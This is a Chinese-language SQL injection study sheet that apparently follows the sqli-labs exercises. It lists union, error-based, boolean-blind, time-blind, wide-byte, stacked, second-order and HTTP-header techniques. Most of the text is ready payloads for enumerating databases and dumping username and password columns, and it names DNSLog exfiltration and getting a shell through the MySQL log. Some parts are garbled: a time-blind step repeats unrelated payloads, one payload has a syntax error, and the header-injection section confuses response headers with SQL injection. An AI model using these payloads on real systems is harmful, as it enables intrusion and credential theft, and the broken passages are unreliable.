联合查询注入
报错型注入
布尔盲注
时间盲注
二次注入
宽字节注入
堆叠注入
HTTP头部注入
在单引号字符型注入的前提下,如果是整型注入,则把单引号和注释符(--+)去掉,若是双引号注入则把单引号换成双引号。
使用场景
页面上有显示位
什么是显示位:在一个网页正常页面,服务端执行SQL语句查询数据库中的数据库,客户端将数据展示在页面中,这个展示数据的位置就叫显示位。
注意
要求多条查询语句的查询列数是一致的
union
关键字默认去重,如果使用union al
l可以包含重复项
在union
查询注入中,可以先用concat
或者是concat_ws
将多列结果拼接为一列,再使用group_concat
将多行结果在一行输出
payload
判断是否存在注入,判断注入点类型:
1 and 1=1#
(整型)
1 and 1=2#
(整型)
1' or '1'='1
(字符型)
1' or '1'='2
(字符型)
判断当前数据表中有几列
order by
查询显示位在第几列(假设一共3列):
-1' union select 1,2,3
注意:这里必须是查询一个不存在的记录才能起作用
显示当前数据库(假设显示位包含第三位):
-1' union select 1,2,database()
查看当前数据库中的所有表:
select group_concat(table_name) from information_schema.tables where table_schema=database()
函数group_concat()
把所有结果都在一行输出
查询所有数据库:
select group_concat(schema_name) from information_schema.schemata
查询某个数据库中的表
select group_concat(table_name) from information_schema.tables where table_schema='security'
查询某个表中的所有字段:
select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'
查询某个表中的字段内容
select group_concat(username,0x3a,password) from security.users
使用场景
页面上没有显示位但是有sql语句执行错误信息输出
payload
主要有3种SQL注入报错方式:
extractvalue
updatexml
floor
ExtractValue()
它接收两个字符串参数,第一个参数可以传入目标xml文档,第二个参数是用Xpath路径表示法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。
这里就是利用这个特性来获得我们想要知道的内容。
mysql> select ExtractValue('<a><b><b/></a>', '~');
ERROR 1105 (HY000): XPATH syntax error: '~'
利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出
mysql> select ExtractValue('<a><b><b/></a>', concat('~', (select database())));
ERROR 1105 (HY000): XPATH syntax error: '~security'
updatexml()
UpdateXML(xml_target, xpath_expr, new_xml)
xml_target:需要操作的xml片段
xpath_expr:需要更新的xml路径(Xpath格式)
new_xml:更新后的内容
不过这些参数都不太重要,这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容:
mysql> select updatexml('test', concat('~', (select database())), 'test');
ERROR 1105 (HY000): XPATH syntax error: '~security'
mysql> select updatexml('test', concat('~', (select version())), 'test');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.27-0ubuntu0.18.0.1'
ExtractValue()
和UpdateXml()
类似,它们的第二个参数使用Xpath路径法表示的查找路径。这里如果Xpath格式语法书写错误的话,就会报错。利用concat
函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
ExtractValue()
和Updatexml()
函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容。利用concat()
函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
floor()
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concat()中的SQL语句或函数被执行,所以该语句报错且被抛出的主键是SQL语句或函数执行后的结果。
其他的报错函数:
geometrycollection()
multipoint()
polygon()
multipolygon()
linestring()
multilinestring()
exp()
exp()
报错的原理:
exp是一个数学函数,取e的x次方,当我们输入的值大于709就会报错。然后~取反它的值总会大于709,所以报错。
在报错注入中,查询字段的内容,不能用group_concat将所有结果都在一行输出,会出现子查询多于1列的情况。可以直接查询字段名,后面使用limit x,1来显示第x条记录。当需要查询多列内容时,可以使用concat或者是concat_ws拼接不同列的结果字符串,再在后面使用limit x,1来显示第x条记录。
通过updatexml()
或者ExtractValue()
报错,对输出字符有长度限制,最长为32位。这里可以用分割函数分割出来:
mid(列名,起始位置,[截取长度])
起始位置从1开始,第一个参数可以为sql语句
substr(字符串,起始位置,截取长度)
起始位置是从1开始的,第一个参数可以为sql语句
left()
得到字符串左部指定个数的字符
left(字符串,长度)
(1) left(database(),1)>’a’
,查看数据库名第一位,left(database(),2)>’ab’
,查看数据库名前二位。
(2) 同样的string可以为自行构造的sql语句
使用场景
页面没有显示位,也没有SQL语句执行错误信息,只能通过页面返回是否正常来判断注入点
payload
数据库名相关
查询数据库个数
count()
查询某一个数据库名长度
length(),limit x,1
查询某个数据库名
limit x,1, substr(str,1,1), ascii()
数据表
查询表的个数
count()
查询某个表名的长度
length(), limit x,1
查看某个表名
limit x,1, substr(str,1,1),ascii()
字段相关
查看某个表中的字段个数
count()
查看某个表中字段名长度
length(), limit x,1
查看某个字段名
limit x,1, substr(str,1,1), ascii()
记录内容相关
查看表中行数
count(*)
查看某个字段内容的长度
length(), limit 1,1
查看某个字段的内容
limit x,1, substr(x,1,1),ascii()
布尔盲注有四个步骤,数据库名相关,数据表,字段相关,记录内容相关。在每个步骤中,需要获取3个基本信息。使用count()查询记录的个数,使用length()和limit x,1查询某条记录的长度。使用limit x,1, substr(), ascii()来查询某条记录的内容。limit x,1的作用是指定一条记录,substr()的作用是截取指定记录的一个字符,ascii()的作用是将截取的字符转换为ascii码,与具体的数值进行比较,从而获取指定记录中某一位具体的字符。
sqlmap中用于布尔盲注
ORD(string)
:返回字符串首字符的ASCII码值
MID(string, start, length)
:返回字符串从start开始长度为length的字符串。
IFNULL(string1, string2)
:如果string1是NULL则返回string2,如果不是NULL返回string1。
CAST(volume as type)
: 用于数据类型转换,将volume转换成type类型(如这里是将数字转换为字符串)
COUNT()
: 统计个数
DISTINCT()
: 标记只要不同(唯一)的值
使用场景
页面上没有显示位,也没有输出SQL语句执行错误信息。正确的SQL语句和错误的SQL语句返回页面都一样,但是加入sleep(5)条件之后,如果if条件成立则页面返回速度明显慢了5秒。
常用函数
时间盲注也叫延时注入,一般会用到函数sleep()
, BENCHMARK()
, 还可以使用笛卡尔积
条件判断函数
if(expre1, expre2, expre3)
当expre1为true时,返回expre2。为false时,返回expre3。
分割函数
substr, substring, left
一般喜欢把分割函数进行编码,编码的好处是可以不使用引号。常用的编码函数有ascii(),hex()
payload
与布尔盲注的思想类似。
如果使用=比较,当expre1为true时,返回sleep(5),否则返回1。因为=只能有一个值满足条件。
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
1.判断数据库的个数
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
2.判断数据库名的长度
id=1' and if((select length(schema_name) from information_schema.schemata)=9, sleep(5), 1) --+
3.查询数据库名
id=1' and if((select ascii(substr((select schema_name from information_schema.schemata limit 0,1)1,1)))=105, sleep(5), 1) --+
什么是二次注入
二次注入是指已存储(比如存储在数据库、文件中)的用户输入被读取后,再次进入到SQL查询语句中导致的注入。
原理
有些网站当用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据被插入到数据库中被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询,如果此时没有对读取出的数据进行转义处理,就发生了SQL二次注入。
注意:可能每一次注入都不构成漏洞,但是如果一起使用就可能造成注入
所以,二次注入的防范方式,不仅需要在向数据库插入数据时对特殊字符进行转义,当从数据库中读取数据进行查询的时候,也需要对特殊字符进行转义。
原理介绍
MySQL 的命令行中,每一条语句以;
结尾,这代表语句的结束,如果在注入过程中在;
后面添加要执行的 SQL 语句的话,这种注入方式就叫做堆叠注入 (stacked injection) 。
与 union select 联合查询相比,堆叠查询更加灵活,可以执行任意的 SQL 语句。
局限性
并不是每一个环境下都可以执行,可能受到 API 或者数据库引擎限制。
在 Web 中代码通常只返回一个查询结果,因此,堆叠注入第 二个语句产生错误或者结果只能被忽略
这个就是为什么我们尝试用 union select 联合查询的原因,使用堆叠注入前,我们还需要了解数据库的相关信息才可以,如表名、列名等。
产生原因
mysqli_multi_query
函数用于执行一个 SQL 语句,或者多个使用分号分隔的 SQL 语句。这个就是堆叠注入产生的原因,因为本身就支持多个 SQL 语句。
利用方式
DNSLog数据外带
需要条件:MySQL开启load_file()
、DNSLog平台、Windows平台
开启日志getshell
需要条件:Web的绝对路径、MySQL可读写Web。
因为在Linux下权限控制更严格,所以这种方式在Windows下更容易成功。
宽字节注入
以下是常用的URL编码
ASCII值 | URL编码 |
---|---|
\ | %5C |
' | %27 |
" | %22 |
# | %23 |
& | %26 |
宽字节注入的利用条件
查询参数是被单引号包围的,传入的单引号又被转义符\
转义,如在后台数据库中对接收的参数使用addslashes()
、mysql_real_escape_string()
或者是其他转义函数
数据库的编码为GBK
概括的说,就是单引号被转义,但编码为GBK。
利用方式
GET形式
id=-1%DF' union select 1,user(),3%23
在上述条件下,单引号'
被转义为\'
,即%5c%27
。如果我们在单引号前加上%df
,就会构成%df%5c%27
,而在GBK编码方式下,%df%5c
是汉字"連",所以单引号成功逃逸。
如果是在请求体中,需要使用POST参数。使用Burp Suite抓取请求,然后在单引号(%27
)之前添加%df
。
uname=%df%27 and 1=2 UNION SELECT 1,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users) #&passwd=2
宽字节注入原理
MySQL在使用GBK编码时,会认为两个字符为一个汉字,例如%aa%5c
就是一个汉字猏
。因为转义方法主要就是在敏感字符前面添加反斜杠\
,所以这里想办法去掉反斜杠即可。
%df
吃掉\
其实这里第一个字符并不局限为%df
,只要是在%aa
到%fe
范围内都可以。具体原因是,urlencode(\')=%5c%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,MySQL在GBK编码方式的时候,会将两个字节当做一个汉字,这个时候就把%df%5c
当做是一个汉字運
,%27
则作为一个单独的符号'
在外面,同时也就达到了我们的目的。
将\'
中的\
过滤掉
例如可以构造%5c%5c%27
的情况,后面的%5C
会被前面的%5C
给注释掉。这也是bypass的一种方法。
addslashes()
函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符 | 转义后 |
---|---|
\ | \\ |
' | \' |
" | \" |
该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
在使用addslashes()
时,我们需要将mysql_query
设置为binary
的方式,才能够防御此漏洞。
什么是HTTP头注入
Web应用程序中把用户提交的参数未做过滤就直接输出到HTTP响应头中,攻击者可以利用该漏洞来注入HTTP响应头。
概括的说,就是注入点在HTTP响应头中。
常见的HTTP可能存在注入点的参数
User-Agent
:浏览器版本
COOKIE
: 网站为了辨别用户身份、进行session跟踪而存储在用户本地终端上的数据
X-Forwarded-For
:获取HTTP请求端真实IP
Client-IP
: 获取IP
Referer
:浏览器向Web服务器表名自己是从哪个页面链接过来的
Host
:访问的Web服务器的域名/IP和端口号
造成HTTP头注入的原因
在网站代码中,ip
,cookie
,referer
,user-agent
等字段与数据库有交互
代码中使用了php超全局变量$_SERVER[]
如何防御
在设置HTTP响应头的代码中,过滤回车换行(%0d%0a
)字符
不采用有漏洞版本的Apache服务器
对参数的合法性校验以及长度限制,谨慎的使用用户传入的参数作为HTTP返回包的header设置。